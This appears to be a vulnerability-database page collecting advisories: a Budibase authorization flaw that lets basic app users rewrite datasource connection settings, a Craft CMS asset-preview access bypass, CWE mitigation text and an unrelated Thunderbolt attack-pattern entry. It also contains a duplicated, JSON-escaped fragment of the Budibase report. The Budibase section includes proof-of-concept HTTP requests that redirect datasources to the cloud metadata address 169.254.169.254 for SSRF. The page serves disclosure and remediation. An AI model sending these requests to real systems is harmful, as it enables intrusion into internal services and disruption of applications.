Vulnerability from github – Published: 2026-05-15 17:59 – Updated: 2026-06-08 23:51
VLAI
Summary
Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL
Details

Summary

Budibase exposes a REST API for datasource management. The route PUT /api/datasources/:datasourceId is registered in the authorizedRoutes group with TABLE/READ permission. This is the same authorization level as the read endpoint (GET /api/datasources/:datasourceId). Every authenticated Budibase app user with the BASIC built-in role or higher carries TABLE/WRITE (and therefore TABLE/READ) permissions, and the datasource update controller performs no additional builder check.

As a result, any authenticated non-builder app user can submit a PUT request to rewrite a datasource's config object — including the connection host, port, database credentials, or the base url of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.

Code evidence

Route registration — wrong authorization group

packages/server/src/api/routes/datasource.ts, line 35-37
authorizedRoutes
  .get("/api/datasources/:datasourceId", datasourceController.find)
  .put("/api/datasources/:datasourceId", datasourceController.update)   // <-- should be builderRoutes

All destructive (create/delete/verify) operations are gated behind builderRoutes:

builderRoutes
  .get("/api/datasources", datasourceController.fetch)
  .post("/api/datasources/verify", datasourceController.verify)
  .post("/api/datasources", datasourceValidator(), datasourceController.save)
  .delete("/api/datasources/:datasourceId/:revId", datasourceController.destroy)

The update route shares the same authorization group as the read route, not the builder group.

Authorization middleware allows BASIC-role users

packages/server/src/middleware/authorized.ts, lines 46-50
packages/backend-core/src/security/permissions.ts, lines 82-90
packages/backend-core/src/security/roles.ts, lines 162-169

authorizedRoutes is defined with authorized(PermissionType.TABLE, PermissionLevel.READ).

When doesHaveBasePermission(TABLE, READ, rolesHierarchy) is evaluated for a BASIC-role user:

  • BASIC role → BuiltinPermissionID.WRITE
  • WRITE permission includes PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)
  • getAllowedLevels(WRITE) returns [WRITE, READ]
  • Therefore TABLE/READ is satisfied → user is authorized

BASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.

Controller performs no additional builder check

packages/server/src/api/controllers/datasource.ts, lines 207-255
export async function update(ctx) {
  const db = context.getWorkspaceDB()
  const datasourceId = ctx.params.datasourceId
  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard
  await invalidateVariables(baseDatasource, ctx.request.body)

  const dataSourceBody: Datasource = isBudibaseSource
    ? { name: ..., type: ..., source: SourceName.BUDIBASE }
    : ctx.request.body                                              // attacker-controlled config

  let datasource: Datasource = {
    ...baseDatasource,
    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config
  }

  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted
  ...
}

mergeConfigs does not protect non-password connection fields

packages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316

mergeConfigs only replaces PASSWORD_REPLACEMENT sentinel values back to the stored secret. Fields like host, port, database, url, ssl are taken from the update payload without restriction:

// update back to actual passwords for everything else
for (let [key, value] of Object.entries(update.config)) {
  if (value !== PASSWORD_REPLACEMENT) {
    continue          // non-password fields pass through unchanged
  }
  ...
}

Attack scenarios

Scenario 1: SSRF via SQL driver connection redirection

  1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.
  2. Attacker sends: ```http PUT /api/datasources/ HTTP/1.1 Host: target Authorization: Bearer Content-Type: application/json

{ "config": { "host": "169.254.169.254", "port": 5432, "database": "postgres", "user": "postgres", "password": "PASSWORD_REPLACEMENT" } } `` 3. Datasource config is persisted withhost: 169.254.169.254. 4. Any subsequent query execution against this datasource (POST /api/queries/execute) causes Budibase's PostgreSQL driver to open a TCP connection to169.254.169.254:5432` on the internal network. 5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.

Scenario 2: SSRF via REST datasource URL change

  1. Same setup with a REST datasource.
  2. Attacker sends: http PUT /api/datasources/<datasource_id> HTTP/1.1 ... { "config": { "url": "http://169.254.169.254/latest/meta-data/" } }
  3. If the IMPORT_IP_DENY_LIST equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.
  4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).

Scenario 3: Datasource disruption / DoS

An attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.

Minimal PoC shape

PUT /api/datasources/<target_datasource_id> HTTP/1.1
Host: <budibase-host>
Authorization: Bearer <basic-user-access-token>
Content-Type: application/json

{
  "name": "Modified",
  "source": "POSTGRES",
  "type": "datasource",
  "config": {
    "host": "169.254.169.254",
    "port": 5432,
    "database": "postgres",
    "user": "postgres",
    "password": "PASSWORD_REPLACEMENT",
    "ssl": false
  }
}

Expected secure behavior: - Return 403 Forbidden — only builder/admin users should be allowed to update datasource configurations.

Observed source behavior: - Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.

Impact

Dimension Assessment
Privileges required Authenticated BASIC-role app user (lowest non-public role)
User interaction None
Confidentiality High — SSRF to cloud metadata or internal services
Integrity High — overwrites datasource used by all app users
Availability High — can break all queries by injecting invalid config

Initial severity estimate: High (CVSS ~8.1)

Why this is distinct from known CVEs

CVE / GHSA Root cause Different because
CVE-2026-31818 (SSRF in REST connector) IMPORT_IP_DENY_LIST not set by default That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely
GHSA-2g39-332f-68p9 (RBAC privilege escalation) Creator role could create Admin roles Different mechanism — role creation, not route auth bypass
GHSA-gw94-hprh-4wj8 (Universal auth bypass) ?/webhooks/trigger param bypassed auth Completely different attack primitive
GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) Unsanitized connection params in backup path Different vector — this is write access to live connection config

The root cause here is a route-level authorization misconfiguration: PUT /api/datasources/:id is registered in the wrong endpoint group (authorizedRoutes vs builderRoutes).

Fix direction

Move the PUT /api/datasources/:datasourceId route from authorizedRoutes to builderRoutes:

- authorizedRoutes
-   .get("/api/datasources/:datasourceId", datasourceController.find)
-   .put("/api/datasources/:datasourceId", datasourceController.update)

+ authorizedRoutes
+   .get("/api/datasources/:datasourceId", datasourceController.find)

+ builderRoutes
+   .put("/api/datasources/:datasourceId", datasourceController.update)

Submission note

Current state: source-confirmed candidate. Runtime reproduction (HTTP request against live Budibase instance) has not been executed in this session. Budibase has an active GHSA process — security reports via GitHub Security Advisories should receive triage within days based on historical pattern.

Fields like `host`, `port`, `database`, `url`, `ssl` are taken from the update payload without restriction:\n\n```typescript\n// update back to actual passwords for everything else\nfor (let [key, value] of Object.entries(update.config)) {\n  if (value !== PASSWORD_REPLACEMENT) {\n    continue          // non-password fields pass through unchanged\n  }\n  ...\n}\n```\n\n## Attack scenarios\n\n### Scenario 1: SSRF via SQL driver connection redirection\n\n1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   Host: target\n   Authorization: Bearer \u003capp-user-token\u003e\n   Content-Type: application/json\n\n   {\n     \"config\": {\n       \"host\": \"169.254.169.254\",\n       \"port\": 5432,\n       \"database\": \"postgres\",\n       \"user\": \"postgres\",\n       \"password\": \"PASSWORD_REPLACEMENT\"\n     }\n   }\n   ```\n3. Datasource config is persisted with `host: 169.254.169.254`.\n4. Any subsequent query execution against this datasource (`POST /api/queries/execute`) causes Budibase\u0027s PostgreSQL driver to open a TCP connection to `169.254.169.254:5432` on the internal network.\n5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.\n\n### Scenario 2: SSRF via REST datasource URL change\n\n1. Same setup with a REST datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   ...\n   {\n     \"config\": {\n       \"url\": \"http://169.254.169.254/latest/meta-data/\"\n     }\n   }\n   ```\n3. If the `IMPORT_IP_DENY_LIST` equivalent for Budibase\u0027s REST connector is not configured, the fetch proceeds and the response is visible in query results.\n4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).\n\n### Scenario 3: Datasource disruption / DoS\n\nAn attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.\n\n## Minimal PoC shape\n\n```http\nPUT /api/datasources/\u003ctarget_datasource_id\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nAuthorization: Bearer \u003cbasic-user-access-token\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"Modified\",\n  \"source\": \"POSTGRES\",\n  \"type\": \"datasource\",\n  \"config\": {\n    \"host\": \"169.254.169.254\",\n    \"port\": 5432,\n    \"database\": \"postgres\",\n    \"user\": \"postgres\",\n    \"password\": \"PASSWORD_REPLACEMENT\",\n    \"ssl\": false\n  }\n}\n```\n\nExpected secure behavior:\n- Return `403 Forbidden` \u2014 only builder/admin users should be allowed to update datasource configurations.\n\nObserved source behavior:\n- Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.\n\n## Impact\n\n| Dimension | Assessment |\n|---|---|\n| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |\n| User interaction | None |\n| Confidentiality | High \u2014 SSRF to cloud metadata or internal services |\n| Integrity | High \u2014 overwrites datasource used by all app users |\n| Availability | High \u2014 can break all queries by injecting invalid config |\n\nInitial severity estimate: **High (CVSS ~8.1)**\n\n## Why this is distinct from known CVEs\n\n| CVE / GHSA | Root cause | Different because |\n|---|---|---|\n| CVE-2026-31818 (SSRF in REST connector) | `IMPORT_IP_DENY_LIST` not set by default | That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely |\n| GHSA-2g39-332f-68p9 (RBAC privilege escalation) | Creator role could create Admin roles | Different mechanism \u2014 role creation, not route auth bypass |\n| GHSA-gw94-hprh-4wj8 (Universal auth bypass) | `?/webhooks/trigger` param bypassed auth | Completely different attack primitive |\n| GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) | Unsanitized connection params in backup path | Different vector \u2014 this is write access to live connection config |\n\nThe root cause here is a **route-level authorization misconfiguration**: `PUT /api/datasources/:id` is registered in the wrong endpoint group (`authorizedRoutes` vs `builderRoutes`).\n\n## Fix direction\n\nMove the `PUT /api/datasources/:datasourceId` route from `authorizedRoutes` to `builderRoutes`:\n\n```diff\n- authorizedRoutes\n-   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n-   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n\n+ authorizedRoutes\n+   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n\n+ builderRoutes\n+   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n```\n\n## Submission note\n\nCurrent state: source-confirmed candidate.\nRuntime reproduction (HTTP request against live Budibase instance) has not been executed in this session.\nBudibase has an active GHSA process \u2014 security reports via GitHub Security Advisories should receive triage within days based on historical pattern.",

Summary
Craft CMS: Authorized asset "preview file" requests bypass allows users without asset access to retrieve private preview metadata
Details

Summary

An authenticated low-privileged user can call assets/preview-file for an asset they are not authorized to view and still receive preview response data (previewHtml) for that private asset.

The returned preview HTML included a private preview image route containing the target private assetId, even though canView was false for the attacker account.

Details

  1. assets/preview-file accepts a maliciously controlled assetId and renders preview output.
  2. The action does not enforce per-asset view authorization prior to returning preview content.
  3. As a result, an authenticated user without asset-view permission can still obtain private preview output.

This affects Craft installations with authenticated users of mixed privilege levels with private assets.

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
